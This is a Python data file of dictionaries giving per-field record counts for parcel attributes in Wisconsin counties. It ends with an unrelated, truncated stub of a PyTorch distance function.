CRAWFORDLegacyDict = {'PLACENAME': 8510, 'GISACRES': 10268, 'CONAME': 15152, 'SUFFIX': 0, 'STREETTYPE': 1685, 'TAXPARCELID': 13394, 'PARCELID': 15152, 'ZIPCODE': 0, 'PARCELSRC': 15152, 'PARCELFIPS': 15152, 'LOADDATE': 10268, 'PREFIX': 741, 'AUXCLASS': 996, 'NETPRPTA': 8510, 'SCHOOLDISTNO': 8510, 'UNITID': 0, 'LNDVALUE': 8510, 'OWNERNME1': 8510, 'OWNERNME2': 2674, 'IMPVALUE': 8510, 'CNTASSDVALUE': 8510, 'DEEDACRES': 8510, 'TAXROLLYEAR': 10268, 'PSTLADRESS': 8481, 'IMPROVED': 8510, 'STATEID': 15152, 'ASSDACRES': 0, 'FORESTVALUE': 0, 'ADDNUMPREFIX': 1, 'ADDNUMSUFFIX': 0, 'ADDNUM': 2372, 'LANDMARKNAME': 0, 'PROPCLASS': 8510, 'UNITTYPE': 0, 'SCHOOLDIST': 8510, 'SITEADRESS': 2372, 'ESTFMKVALUE': 0, 'GRSPRPTA': 0, 'STATE': 10268, 'PARCELDATE': 0, 'STREETNAME': 2372, 'ZIP4': 0}
DANELegacyDict = {'PLACENAME': 207885, 'GISACRES': 207947, 'CONAME': 207947, 'SUFFIX': 103, 'STREETTYPE': 170340, 'TAXPARCELID': 207947, 'PARCELID': 207947, 'ZIPCODE': 152110, 'PARCELSRC': 207947, 'PARCELFIPS': 207947, 'LOADDATE': 207947, 'PREFIX': 28205, 'AUXCLASS': 8067, 'NETPRPTA': 200753, 'SCHOOLDISTNO': 207333, 'UNITID': 18036, 'LNDVALUE': 203171, 'OWNERNME1': 207885, 'OWNERNME2': 94760, 'IMPVALUE': 203171, 'CNTASSDVALUE': 203171, 'DEEDACRES': 203171, 'TAXROLLYEAR': 200753, 'PSTLADRESS': 207848, 'IMPROVED': 203171, 'STATEID': 207947, 'ASSDACRES': 203171, 'FORESTVALUE': 207947, 'ADDNUMPREFIX': 5, 'ADDNUMSUFFIX': 96, 'ADDNUM': 176700, 'LANDMARKNAME': 0, 'PROPCLASS': 195994, 'UNITTYPE': 15914, 'SCHOOLDIST': 207333, 'SITEADRESS': 176727, 'ESTFMKVALUE': 204635, 'GRSPRPTA': 73987, 'STATE': 207947, 'PARCELDATE': 0, 'STREETNAME': 176727, 'ZIP4': 2}
DODGELegacyDict = {'PLACENAME': 47789, 'GISACRES': 49772, 'CONAME': 49772, 'SUFFIX': 127, 'STREETTYPE': 28553, 'TAXPARCELID': 49772, 'PARCELID': 49772, 'ZIPCODE': 33632, 'PARCELSRC': 49772, 'PARCELFIPS': 49772, 'LOADDATE': 49772, 'PREFIX': 12326, 'AUXCLASS': 2859, 'NETPRPTA': 45147, 'SCHOOLDISTNO': 47789, 'UNITID': 686, 'LNDVALUE': 45139, 'OWNERNME1': 47789, 'OWNERNME2': 25059, 'IMPVALUE': 31845, 'CNTASSDVALUE': 45172, 'DEEDACRES': 46421, 'TAXROLLYEAR': 47789, 'PSTLADRESS': 47789, 'IMPROVED': 45147, 'STATEID': 49772, 'ASSDACRES': 46429, 'FORESTVALUE': 188, 'ADDNUMPREFIX': 14330, 'ADDNUMSUFFIX': 2, 'ADDNUM': 33602, 'LANDMARKNAME': 0, 'PROPCLASS': 45162, 'UNITTYPE': 686, 'SCHOOLDIST': 47789, 'SITEADRESS': 33602, 'ESTFMKVALUE': 45143, 'GRSPRPTA': 45147, 'STATE': 49772, 'PARCELDATE': 0, 'STREETNAME': 33632, 'ZIP4': 0}
DOORLegacyDict = {'PLACENAME': 40814, 'GISACRES': 42155, 'CONAME': 42155, 'SUFFIX': 109, 'STREETTYPE': 21754, 'TAXPARCELID': 40814, 'PARCELID': 42155, 'ZIPCODE': 25335, 'PARCELSRC': 42155, 'PARCELFIPS': 42155, 'LOADDATE': 42155, 'PREFIX': 7961, 'AUXCLASS': 2947, 'NETPRPTA': 37567, 'SCHOOLDISTNO': 40814, 'UNITID': 4222, 'LNDVALUE': 38056, 'OWNERNME1': 40814, 'OWNERNME2': 4577, 'IMPVALUE': 24976, 'CNTASSDVALUE': 38057, 'DEEDACRES': 30992, 'TAXROLLYEAR': 40577, 'PSTLADRESS': 40754, 'IMPROVED': 38057, 'STATEID': 42155, 'ASSDACRES': 0, 'FORESTVALUE': 0, 'ADDNUMPREFIX': 138, 'ADDNUMSUFFIX': 0, 'ADDNUM': 25328, 'LANDMARKNAME': 0, 'PROPCLASS': 37714, 'UNITTYPE': 5462, 'SCHOOLDIST': 40814, 'SITEADRESS': 25335, 'ESTFMKVALUE': 38058, 'GRSPRPTA': 37567, 'STATE': 42155, 'PARCELDATE': 0, 'STREETNAME': 25335, 'ZIP4': 0}
DOUGLASLegacyDict = {'PLACENAME': 47197, 'GISACRES': 47202, 'CONAME': 47202, 'SUFFIX': 511, 'STREETTYPE': 18574, 'TAXPARCELID': 47158, 'PARCELID': 47202, 'ZIPCODE': 47139, 'PARCELSRC': 47202, 'PARCELFIPS': 47202, 'LOADDATE': 47202, 'PREFIX': 15407, 'AUXCLASS': 12925, 'NETPRPTA': 0, 'SCHOOLDISTNO': 47158, 'UNITID': 0, 'LNDVALUE': 47158, 'OWNERNME1': 47158, 'OWNERNME2': 5073, 'IMPVALUE': 47158, 'CNTASSDVALUE': 47158, 'DEEDACRES': 47202, 'TAXROLLYEAR': 47202, 'PSTLADRESS': 47154, 'IMPROVED': 47158, 'STATEID': 47202, 'ASSDACRES': 0, 'FORESTVALUE': 47158, 'ADDNUMPREFIX': 0, 'ADDNUMSUFFIX': 4, 'ADDNUM': 21784, 'LANDMARKNAME': 0, 'PROPCLASS': 33340, 'UNITTYPE': 11, 'SCHOOLDIST': 47158, 'SITEADRESS': 21822, 'ESTFMKVALUE': 47202, 'GRSPRPTA': 47202, 'STATE': 47202, 'PARCELDATE': 3505, 'STREETNAME': 21822, 'ZIP4': 0}
DUNNLegacyDict = {'PLACENAME': 35331, 'GISACRES': 35345, 'CONAME': 35345, 'SUFFIX': 2115, 'STREETTYPE': 12556, 'TAXPARCELID': 35345, 'PARCELID': 35345, 'ZIPCODE': 15587, 'PARCELSRC': 35345, 'PARCELFIPS': 35345, 'LOADDATE': 35345, 'PREFIX': 3307, 'AUXCLASS': 5735, 'NETPRPTA': 35331, 'SCHOOLDISTNO': 35331, 'UNITID': 0, 'LNDVALUE': 35331, 'OWNERNME1': 35331, 'OWNERNME2': 0, 'IMPVALUE': 35331, 'CNTASSDVALUE': 35331, 'DEEDACRES': 35331, 'TAXROLLYEAR': 35345, 'PSTLADRESS': 34652, 'IMPROVED': 35331, 'STATEID': 35345, 'ASSDACRES': 35331, 'FORESTVALUE': 0, 'ADDNUMPREFIX': 9826, 'ADDNUMSUFFIX': 1, 'ADDNUM': 15588, 'LANDMARKNAME': 0, 'PROPCLASS': 30369, 'UNITTYPE': 0, 'SCHOOLDIST': 35331, 'SITEADRESS': 15588, 'ESTFMKVALUE': 35331, 'GRSPRPTA': 0, 'STATE': 35345, 'PARCELDATE': 0, 'STREETNAME': 15588, 'ZIP4': 174}
EAU_CLAIRELegacyDict = {'PLACENAME': 22427, 'GISACRES': 26248, 'CONAME': 49060, 'SUFFIX': 1147, 'STREETTYPE': 34559, 'TAXPARCELID': 48859, 'PARCELID': 49054, 'ZIPCODE': 36885, 'PARCELSRC': 49060, 'PARCELFIPS': 49060, 'LOADDATE': 49060, 'PREFIX': 6425, 'AUXCLASS': 4383, 'NETPRPTA': 47847, 'SCHOOLDISTNO': 49023, 'UNITID': 182, 'LNDVALUE': 48841, 'OWNERNME1': 47982, 'OWNERNME2': 9470, 'IMPVALUE': 48841, 'CNTASSDVALUE': 47847, 'DEEDACRES': 26048, 'TAXROLLYEAR': 49051, 'PSTLADRESS': 48859, 'IMPROVED': 48841, 'STATEID': 49060, 'ASSDACRES': 22793, 'FORESTVALUE': 0, 'ADDNUMPREFIX': 5288, 'ADDNUMSUFFIX': 0, 'ADDNUM': 36096, 'LANDMARKNAME': 0, 'PROPCLASS': 44507, 'UNITTYPE': 180, 'SCHOOLDIST': 49023, 'SITEADRESS': 36887, 'ESTFMKVALUE': 47847, 'GRSPRPTA': 47847, 'STATE': 49060, 'PARCELDATE': 0, 'STREETNAME': 36887, 'ZIP4': 2207}
FLORENCELegacyDict = {'PLACENAME': 11742, 'GISACRES': 0, 'CONAME': 11742, 'SUFFIX': 143, 'STREETTYPE': 3955, 'TAXPARCELID': 11742, 'PARCELID': 11742, 'ZIPCODE': 5022, 'PARCELSRC': 11742, 'PARCELFIPS': 11742, 'LOADDATE': 11742, 'PREFIX': 1363, 'AUXCLASS': 3518, 'NETPRPTA': 11733, 'SCHOOLDISTNO': 11742, 'UNITID': 97, 'LNDVALUE': 11742, 'OWNERNME1': 11742, 'OWNERNME2': 5549, 'IMPVALUE': 11742, 'CNTASSDVALUE': 11742, 'DEEDACRES': 11742, 'TAXROLLYEAR': 11742, 'PSTLADRESS': 10546, 'IMPROVED': 11742, 'STATEID': 11742, 'ASSDACRES': 11742, 'FORESTVALUE': 0, 'ADDNUMPREFIX': 1, 'ADDNUMSUFFIX': 1, 'ADDNUM': 5029, 'LANDMARKNAME': 0, 'PROPCLASS': 8556, 'UNITTYPE': 2, 'SCHOOLDIST': 11742, 'SITEADRESS': 5038, 'ESTFMKVALUE': 11733, 'GRSPRPTA': 11733, 'STATE': 11742, 'PARCELDATE': 1183, 'STREETNAME': 5036, 'ZIP4': 0}
FOND_DU_LACLegacyDict = {'PLACENAME': 57577, 'GISACRES': 60261, 'CONAME': 60261, 'SUFFIX': 25, 'STREETTYPE': 35253, 'TAXPARCELID': 57577, 'PARCELID': 60236, 'ZIPCODE': 39587, 'PARCELSRC': 60261, 'PARCELFIPS': 60261, 'LOADDATE': 60261, 'PREFIX': 4373, 'AUXCLASS': 3961, 'NETPRPTA': 57577, 'SCHOOLDISTNO': 57577, 'UNITID': 225, 'LNDVALUE': 57577, 'OWNERNME1': 57562, 'OWNERNME2': 28082, 'IMPVALUE': 57577, 'CNTASSDVALUE': 57577, 'DEEDACRES': 57577, 'TAXROLLYEAR': 57577, 'PSTLADRESS': 57570, 'IMPROVED': 57577, 'STATEID': 60261, 'ASSDACRES': 57577, 'FORESTVALUE': 57577, 'ADDNUMPREFIX': 15299, 'ADDNUMSUFFIX': 153, 'ADDNUM': 39010, 'LANDMARKNAME': 0, 'PROPCLASS': 53879, 'UNITTYPE': 213, 'SCHOOLDIST': 57577, 'SITEADRESS': 39625, 'ESTFMKVALUE': 57577, 'GRSPRPTA': 57577, 'STATE': 60261, 'PARCELDATE': 545, 'STREETNAME': 39625, 'ZIP4': 0}
FORESTLegacyDict = {'PLACENAME': 20744, 'GISACRES': 20955, 'CONAME': 20955, 'SUFFIX': 0, 'STREETTYPE': 7133, 'TAXPARCELID': 20744, 'PARCELID': 20744, 'ZIPCODE': 3002, 'PARCELSRC': 20955, 'PARCELFIPS': 20955, 'LOADDATE': 20955, 'PREFIX': 3176, 'AUXCLASS': 6631, 'NETPRPTA': 20603, 'SCHOOLDISTNO': 20744, 'UNITID': 3, 'LNDVALUE': 20744, 'OWNERNME1': 20744, 'OWNERNME2': 4457, 'IMPVALUE': 20744, 'CNTASSDVALUE': 20744, 'DEEDACRES': 20744, 'TAXROLLYEAR': 20744, 'PSTLADRESS': 18407, 'IMPROVED': 20744, 'STATEID': 20955, 'ASSDACRES': 20744, 'FORESTVALUE': 0, 'ADDNUMPREFIX': 0, 'ADDNUMSUFFIX': 2, 'ADDNUM': 8716, 'LANDMARKNAME': 0, 'PROPCLASS': 14476, 'UNITTYPE': 2, 'SCHOOLDIST': 20744, 'SITEADRESS': 8739, 'ESTFMKVALUE': 20603, 'GRSPRPTA': 20603, 'STATE': 20955, 'PARCELDATE': 2169, 'STREETNAME': 8739, 'ZIP4': 0}
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PORTAGELegacyDict = {'PLACENAME': 47048, 'GISACRES': 47048, 'CONAME': 47048, 'SUFFIX': 2412, 'STREETTYPE': 23105, 'TAXPARCELID': 44891, 'PARCELID': 44891, 'ZIPCODE': 27926, 'PARCELSRC': 47048, 'PARCELFIPS': 47048, 'LOADDATE': 47048, 'PREFIX': 4281, 'AUXCLASS': 6130, 'NETPRPTA': 44834, 'SCHOOLDISTNO': 44826, 'UNITID': 1, 'LNDVALUE': 47048, 'OWNERNME1': 44834, 'OWNERNME2': 0, 'IMPVALUE': 47048, 'CNTASSDVALUE': 47048, 'DEEDACRES': 44834, 'TAXROLLYEAR': 41239, 'PSTLADRESS': 42789, 'IMPROVED': 47048, 'STATEID': 47048, 'ASSDACRES': 44834, 'FORESTVALUE': 47048, 'ADDNUMPREFIX': 0, 'ADDNUMSUFFIX': 0, 'ADDNUM': 26769, 'LANDMARKNAME': 0, 'PROPCLASS': 38640, 'UNITTYPE': 0, 'SCHOOLDIST': 44826, 'SITEADRESS': 26769, 'ESTFMKVALUE': 44834, 'GRSPRPTA': 44834, 'STATE': 47048, 'PARCELDATE': 47048, 'STREETNAME': 26889, 'ZIP4': 33}
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RACINELegacyDict = {'PLACENAME': 81194, 'GISACRES': 83378, 'CONAME': 83378, 'SUFFIX': 7331, 'STREETTYPE': 77817, 'TAXPARCELID': 83378, 'PARCELID': 83378, 'ZIPCODE': 49512, 'PARCELSRC': 83378, 'PARCELFIPS': 83378, 'LOADDATE': 83378, 'PREFIX': 2447, 'AUXCLASS': 1905, 'NETPRPTA': 56722, 'SCHOOLDISTNO': 81283, 'UNITID': 2383, 'LNDVALUE': 81194, 'OWNERNME1': 81056, 'OWNERNME2': 30597, 'IMPVALUE': 81194, 'CNTASSDVALUE': 81194, 'DEEDACRES': 81194, 'TAXROLLYEAR': 81194, 'PSTLADRESS': 81191, 'IMPROVED': 81194, 'STATEID': 83378, 'ASSDACRES': 54338, 'FORESTVALUE': 81194, 'ADDNUMPREFIX': 0, 'ADDNUMSUFFIX': 128, 'ADDNUM': 74536, 'LANDMARKNAME': 0, 'PROPCLASS': 78429, 'UNITTYPE': 0, 'SCHOOLDIST': 81283, 'SITEADRESS': 79543, 'ESTFMKVALUE': 81147, 'GRSPRPTA': 81147, 'STATE': 83378, 'PARCELDATE': 0, 'STREETNAME': 79514, 'ZIP4': 0}
RICHLANDLegacyDict = {'PLACENAME': 20268, 'GISACRES': 20359, 'CONAME': 20359, 'SUFFIX': 78, 'STREETTYPE': 5912, 'TAXPARCELID': 20268, 'PARCELID': 20268, 'ZIPCODE': 7889, 'PARCELSRC': 20359, 'PARCELFIPS': 20359, 'LOADDATE': 20359, 'PREFIX': 3902, 'AUXCLASS': 4587, 'NETPRPTA': 20248, 'SCHOOLDISTNO': 20268, 'UNITID': 1, 'LNDVALUE': 20230, 'OWNERNME1': 20268, 'OWNERNME2': 2814, 'IMPVALUE': 20230, 'CNTASSDVALUE': 20230, 'DEEDACRES': 20262, 'TAXROLLYEAR': 20248, 'PSTLADRESS': 18691, 'IMPROVED': 20230, 'STATEID': 20359, 'ASSDACRES': 20262, 'FORESTVALUE': 0, 'ADDNUMPREFIX': 4, 'ADDNUMSUFFIX': 2, 'ADDNUM': 7944, 'LANDMARKNAME': 0, 'PROPCLASS': 17632, 'UNITTYPE': 0, 'SCHOOLDIST': 20268, 'SITEADRESS': 8074, 'ESTFMKVALUE': 20248, 'GRSPRPTA': 20248, 'STATE': 20359, 'PARCELDATE': 0, 'STREETNAME': 8056, 'ZIP4': 7}
ROCKLegacyDict = {'PLACENAME': 71043, 'GISACRES': 71122, 'CONAME': 71122, 'SUFFIX': 204, 'STREETTYPE': 58882, 'TAXPARCELID': 71043, 'PARCELID': 71122, 'ZIPCODE': 26935, 'PARCELSRC': 71122, 'PARCELFIPS': 71122, 'LOADDATE': 71122, 'PREFIX': 27490, 'AUXCLASS': 2769, 'NETPRPTA': 70962, 'SCHOOLDISTNO': 71043, 'UNITID': 188, 'LNDVALUE': 70962, 'OWNERNME1': 71043, 'OWNERNME2': 0, 'IMPVALUE': 70962, 'CNTASSDVALUE': 70962, 'DEEDACRES': 71043, 'TAXROLLYEAR': 71043, 'PSTLADRESS': 71043, 'IMPROVED': 70962, 'STATEID': 71122, 'ASSDACRES': 71040, 'FORESTVALUE': 547, 'ADDNUMPREFIX': 1, 'ADDNUMSUFFIX': 9, 'ADDNUM': 62007, 'LANDMARKNAME': 0, 'PROPCLASS': 68188, 'UNITTYPE': 125, 'SCHOOLDIST': 71043, 'SITEADRESS': 62007, 'ESTFMKVALUE': 70962, 'GRSPRPTA': 70962, 'STATE': 71122, 'PARCELDATE': 0, 'STREETNAME': 62007, 'ZIP4': 20915}
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TREMPEALEAULegacyDict = {'PLACENAME': 33624, 'GISACRES': 33624, 'CONAME': 33624, 'SUFFIX': 164, 'STREETTYPE': 9776, 'TAXPARCELID': 32148, 'PARCELID': 32148, 'ZIPCODE': 0, 'PARCELSRC': 33624, 'PARCELFIPS': 33624, 'LOADDATE': 33624, 'PREFIX': 4287, 'AUXCLASS': 4687, 'NETPRPTA': 32148, 'SCHOOLDISTNO': 32148, 'UNITID': 8, 'LNDVALUE': 32148, 'OWNERNME1': 32148, 'OWNERNME2': 4666, 'IMPVALUE': 32148, 'CNTASSDVALUE': 32148, 'DEEDACRES': 32148, 'TAXROLLYEAR': 33624, 'PSTLADRESS': 31757, 'IMPROVED': 32148, 'STATEID': 33624, 'ASSDACRES': 0, 'FORESTVALUE': 32148, 'ADDNUMPREFIX': 6385, 'ADDNUMSUFFIX': 0, 'ADDNUM': 12022, 'LANDMARKNAME': 0, 'PROPCLASS': 23259, 'UNITTYPE': 7, 'SCHOOLDIST': 32148, 'SITEADRESS': 12062, 'ESTFMKVALUE': 32148, 'GRSPRPTA': 32148, 'STATE': 33624, 'PARCELDATE': 30530, 'STREETNAME': 12051, 'ZIP4': 0}
VERNONLegacyDict = {'PLACENAME': 19767, 'GISACRES': 19764, 'CONAME': 19767, 'SUFFIX': 42, 'STREETTYPE': 6915, 'TAXPARCELID': 19767, 'PARCELID': 19767, 'ZIPCODE': 8124, 'PARCELSRC': 19767, 'PARCELFIPS': 19767, 'LOADDATE': 19767, 'PREFIX': 3169, 'AUXCLASS': 3141, 'NETPRPTA': 19162, 'SCHOOLDISTNO': 19767, 'UNITID': 34, 'LNDVALUE': 19162, 'OWNERNME1': 19162, 'OWNERNME2': 2851, 'IMPVALUE': 19162, 'CNTASSDVALUE': 19162, 'DEEDACRES': 0, 'TAXROLLYEAR': 19767, 'PSTLADRESS': 19003, 'IMPROVED': 19162, 'STATEID': 19767, 'ASSDACRES': 19162, 'FORESTVALUE': 0, 'ADDNUMPREFIX': 4594, 'ADDNUMSUFFIX': 404, 'ADDNUM': 8188, 'LANDMARKNAME': 0, 'PROPCLASS': 16842, 'UNITTYPE': 17, 'SCHOOLDIST': 19767, 'SITEADRESS': 8222, 'ESTFMKVALUE': 9559, 'GRSPRPTA': 19162, 'STATE': 19767, 'PARCELDATE': 19080, 'STREETNAME': 8222, 'ZIP4': 0}
VILASLegacyDict = {'PLACENAME': 45491, 'GISACRES': 45491, 'CONAME': 48638, 'SUFFIX': 888, 'STREETTYPE': 21001, 'TAXPARCELID': 45491, 'PARCELID': 48638, 'ZIPCODE': 45487, 'PARCELSRC': 48638, 'PARCELFIPS': 48638, 'LOADDATE': 48638, 'PREFIX': 5744, 'AUXCLASS': 7034, 'NETPRPTA': 45491, 'SCHOOLDISTNO': 45491, 'UNITID': 0, 'LNDVALUE': 45491, 'OWNERNME1': 45491, 'OWNERNME2': 21919, 'IMPVALUE': 45491, 'CNTASSDVALUE': 45491, 'DEEDACRES': 0, 'TAXROLLYEAR': 48638, 'PSTLADRESS': 40176, 'IMPROVED': 45491, 'STATEID': 48638, 'ASSDACRES': 45491, 'FORESTVALUE': 45491, 'ADDNUMPREFIX': 0, 'ADDNUMSUFFIX': 233, 'ADDNUM': 24702, 'LANDMARKNAME': 0, 'PROPCLASS': 36795, 'UNITTYPE': 0, 'SCHOOLDIST': 45491, 'SITEADRESS': 24709, 'ESTFMKVALUE': 45491, 'GRSPRPTA': 45491, 'STATE': 48638, 'PARCELDATE': 17081, 'STREETNAME': 24709, 'ZIP4': 0}
WALWORTHLegacyDict = {'PLACENAME': 61227, 'GISACRES': 67999, 'CONAME': 67999, 'SUFFIX': 347, 'STREETTYPE': 40308, 'TAXPARCELID': 61399, 'PARCELID': 67999, 'ZIPCODE': 43826, 'PARCELSRC': 67999, 'PARCELFIPS': 67999, 'LOADDATE': 67999, 'PREFIX': 11164, 'AUXCLASS': 2698, 'NETPRPTA': 61227, 'SCHOOLDISTNO': 61365, 'UNITID': 97, 'LNDVALUE': 61227, 'OWNERNME1': 61365, 'OWNERNME2': 28809, 'IMPVALUE': 61227, 'CNTASSDVALUE': 61227, 'DEEDACRES': 60106, 'TAXROLLYEAR': 61227, 'PSTLADRESS': 61037, 'IMPROVED': 61227, 'STATEID': 67999, 'ASSDACRES': 59578, 'FORESTVALUE': 61227, 'ADDNUMPREFIX': 19088, 'ADDNUMSUFFIX': 426, 'ADDNUM': 43823, 'LANDMARKNAME': 0, 'PROPCLASS': 58063, 'UNITTYPE': 3, 'SCHOOLDIST': 61365, 'SITEADRESS': 43828, 'ESTFMKVALUE': 61227, 'GRSPRPTA': 61227, 'STATE': 67999, 'PARCELDATE': 0, 'STREETNAME': 43827, 'ZIP4': 0}
WASHBURNLegacyDict = {'PLACENAME': 31634, 'GISACRES': 34208, 'CONAME': 34208, 'SUFFIX': 1, 'STREETTYPE': 11530, 'TAXPARCELID': 34208, 'PARCELID': 34208, 'ZIPCODE': 13816, 'PARCELSRC': 34208, 'PARCELFIPS': 34208, 'LOADDATE': 34208, 'PREFIX': 3103, 'AUXCLASS': 8256, 'NETPRPTA': 31634, 'SCHOOLDISTNO': 31634, 'UNITID': 11, 'LNDVALUE': 31634, 'OWNERNME1': 31634, 'OWNERNME2': 14229, 'IMPVALUE': 31634, 'CNTASSDVALUE': 31634, 'DEEDACRES': 31634, 'TAXROLLYEAR': 31634, 'PSTLADRESS': 31634, 'IMPROVED': 31634, 'STATEID': 34208, 'ASSDACRES': 31634, 'FORESTVALUE': 31634, 'ADDNUMPREFIX': 11032, 'ADDNUMSUFFIX': 0, 'ADDNUM': 13816, 'LANDMARKNAME': 0, 'PROPCLASS': 24267, 'UNITTYPE': 10, 'SCHOOLDIST': 31634, 'SITEADRESS': 13816, 'ESTFMKVALUE': 31634, 'GRSPRPTA': 31634, 'STATE': 34208, 'PARCELDATE': 31634, 'STREETNAME': 13816, 'ZIP4': 3}
WASHINGTONLegacyDict = {'PLACENAME': 60995, 'GISACRES': 61580, 'CONAME': 61580, 'SUFFIX': 393, 'STREETTYPE': 54020, 'TAXPARCELID': 61580, 'PARCELID': 61580, 'ZIPCODE': 36003, 'PARCELSRC': 61580, 'PARCELFIPS': 61580, 'LOADDATE': 61580, 'PREFIX': 9994, 'AUXCLASS': 3158, 'NETPRPTA': 60995, 'SCHOOLDISTNO': 60995, 'UNITID': 1099, 'LNDVALUE': 60995, 'OWNERNME1': 60984, 'OWNERNME2': 24151, 'IMPVALUE': 60995, 'CNTASSDVALUE': 60995, 'DEEDACRES': 60995, 'TAXROLLYEAR': 60995, 'PSTLADRESS': 60758, 'IMPROVED': 60995, 'STATEID': 61580, 'ASSDACRES': 0, 'FORESTVALUE': 60995, 'ADDNUMPREFIX': 9758, 'ADDNUMSUFFIX': 40, 'ADDNUM': 50781, 'LANDMARKNAME': 0, 'PROPCLASS': 57893, 'UNITTYPE': 16, 'SCHOOLDIST': 60995, 'SITEADRESS': 58689, 'ESTFMKVALUE': 60995, 'GRSPRPTA': 60995, 'STATE': 61580, 'PARCELDATE': 52214, 'STREETNAME': 58689, 'ZIP4': 0}
WAUKESHALegacyDict = {'PLACENAME': 0, 'GISACRES': 154277, 'CONAME': 154277, 'SUFFIX': 1459, 'STREETTYPE': 138515, 'TAXPARCELID': 153662, 'PARCELID': 153662, 'ZIPCODE': 0, 'PARCELSRC': 154277, 'PARCELFIPS': 154277, 'LOADDATE': 154277, 'PREFIX': 31433, 'AUXCLASS': 675, 'NETPRPTA': 99496, 'SCHOOLDISTNO': 154277, 'UNITID': 4920, 'LNDVALUE': 153662, 'OWNERNME1': 154277, 'OWNERNME2': 10317, 'IMPVALUE': 153662, 'CNTASSDVALUE': 153662, 'DEEDACRES': 0, 'TAXROLLYEAR': 154277, 'PSTLADRESS': 152644, 'IMPROVED': 154277, 'STATEID': 154277, 'ASSDACRES': 154277, 'FORESTVALUE': 99496, 'ADDNUMPREFIX': 62955, 'ADDNUMSUFFIX': 214, 'ADDNUM': 142937, 'LANDMARKNAME': 0, 'PROPCLASS': 146196, 'UNITTYPE': 4348, 'SCHOOLDIST': 0, 'SITEADRESS': 144256, 'ESTFMKVALUE': 99496, 'GRSPRPTA': 0, 'STATE': 0, 'PARCELDATE': 0, 'STREETNAME': 144242, 'ZIP4': 0}
WAUPACALegacyDict = {'PLACENAME': 41967, 'GISACRES': 42249, 'CONAME': 42249, 'SUFFIX': 5, 'STREETTYPE': 21291, 'TAXPARCELID': 41967, 'PARCELID': 42249, 'ZIPCODE': 25088, 'PARCELSRC': 42249, 'PARCELFIPS': 42249, 'LOADDATE': 42249, 'PREFIX': 8074, 'AUXCLASS': 4074, 'NETPRPTA': 41640, 'SCHOOLDISTNO': 41967, 'UNITID': 3, 'LNDVALUE': 41640, 'OWNERNME1': 41967, 'OWNERNME2': 0, 'IMPVALUE': 41640, 'CNTASSDVALUE': 41640, 'DEEDACRES': 42052, 'TAXROLLYEAR': 41967, 'PSTLADRESS': 41967, 'IMPROVED': 41640, 'STATEID': 42249, 'ASSDACRES': 41967, 'FORESTVALUE': 42249, 'ADDNUMPREFIX': 15139, 'ADDNUMSUFFIX': 41, 'ADDNUM': 25088, 'LANDMARKNAME': 0, 'PROPCLASS': 30143, 'UNITTYPE': 0, 'SCHOOLDIST': 41967, 'SITEADRESS': 25088, 'ESTFMKVALUE': 41640, 'GRSPRPTA': 41640, 'STATE': 42249, 'PARCELDATE': 0, 'STREETNAME': 25088, 'ZIP4': 0}
WAUSHARALegacyDict = {'PLACENAME': 31276, 'GISACRES': 31276, 'CONAME': 31276, 'SUFFIX': 0, 'STREETTYPE': 12106, 'TAXPARCELID': 31276, 'PARCELID': 31276, 'ZIPCODE': 0, 'PARCELSRC': 31276, 'PARCELFIPS': 31276, 'LOADDATE': 31276, 'PREFIX': 7238, 'AUXCLASS': 3197, 'NETPRPTA': 31269, 'SCHOOLDISTNO': 31276, 'UNITID': 0, 'LNDVALUE': 31274, 'OWNERNME1': 31276, 'OWNERNME2': 3355, 'IMPVALUE': 31269, 'CNTASSDVALUE': 31274, 'DEEDACRES': 31276, 'TAXROLLYEAR': 31276, 'PSTLADRESS': 30884, 'IMPROVED': 31269, 'STATEID': 31276, 'ASSDACRES': 31275, 'FORESTVALUE': 0, 'ADDNUMPREFIX': 13092, 'ADDNUMSUFFIX': 3, 'ADDNUM': 15990, 'LANDMARKNAME': 0, 'PROPCLASS': 28635, 'UNITTYPE': 0, 'SCHOOLDIST': 31276, 'SITEADRESS': 16003, 'ESTFMKVALUE': 31268, 'GRSPRPTA': 31269, 'STATE': 31276, 'PARCELDATE': 0, 'STREETNAME': 16003, 'ZIP4': 0}
WINNEBAGOLegacyDict = {'PLACENAME': 78930, 'GISACRES': 74734, 'CONAME': 80367, 'SUFFIX': 54, 'STREETTYPE': 38919, 'TAXPARCELID': 80344, 'PARCELID': 80367, 'ZIPCODE': 62453, 'PARCELSRC': 80367, 'PARCELFIPS': 80367, 'LOADDATE': 80367, 'PREFIX': 12778, 'AUXCLASS': 5810, 'NETPRPTA': 62678, 'SCHOOLDISTNO': 78210, 'UNITID': 1878, 'LNDVALUE': 78169, 'OWNERNME1': 78223, 'OWNERNME2': 35390, 'IMPVALUE': 78169, 'CNTASSDVALUE': 78169, 'DEEDACRES': 68138, 'TAXROLLYEAR': 78241, 'PSTLADRESS': 78020, 'IMPROVED': 78169, 'STATEID': 80367, 'ASSDACRES': 46463, 'FORESTVALUE': 56418, 'ADDNUMPREFIX': 0, 'ADDNUMSUFFIX': 39, 'ADDNUM': 61328, 'LANDMARKNAME': 1887, 'PROPCLASS': 71017, 'UNITTYPE': 336, 'SCHOOLDIST': 78210, 'SITEADRESS': 62535, 'ESTFMKVALUE': 78169, 'GRSPRPTA': 78210, 'STATE': 80367, 'PARCELDATE': 80181, 'STREETNAME': 62536, 'ZIP4': 20782}
WOODLegacyDict = {'PLACENAME': 46031, 'GISACRES': 46070, 'CONAME': 46070, 'SUFFIX': 5400, 'STREETTYPE': 27850, 'TAXPARCELID': 46070, 'PARCELID': 46070, 'ZIPCODE': 46070, 'PARCELSRC': 46070, 'PARCELFIPS': 46070, 'LOADDATE': 46070, 'PREFIX': 10156, 'AUXCLASS': 3359, 'NETPRPTA': 45813, 'SCHOOLDISTNO': 46070, 'UNITID': 0, 'LNDVALUE': 45842, 'OWNERNME1': 45842, 'OWNERNME2': 573, 'IMPVALUE': 45842, 'CNTASSDVALUE': 45842, 'DEEDACRES': 45813, 'TAXROLLYEAR': 46070, 'PSTLADRESS': 46003, 'IMPROVED': 45842, 'STATEID': 46070, 'ASSDACRES': 0, 'FORESTVALUE': 0, 'ADDNUMPREFIX': 0, 'ADDNUMSUFFIX': 462, 'ADDNUM': 31353, 'LANDMARKNAME': 0, 'PROPCLASS': 42677, 'UNITTYPE': 0, 'SCHOOLDIST': 46070, 'SITEADRESS': 31353, 'ESTFMKVALUE': 45842, 'GRSPRPTA': 0, 'STATE': 46070, 'PARCELDATE': 0, 'STREETNAME': 31353, 'ZIP4': 0}
| python |
import torch
import numpy as np
def find_distance(X_n, X_o):
"""
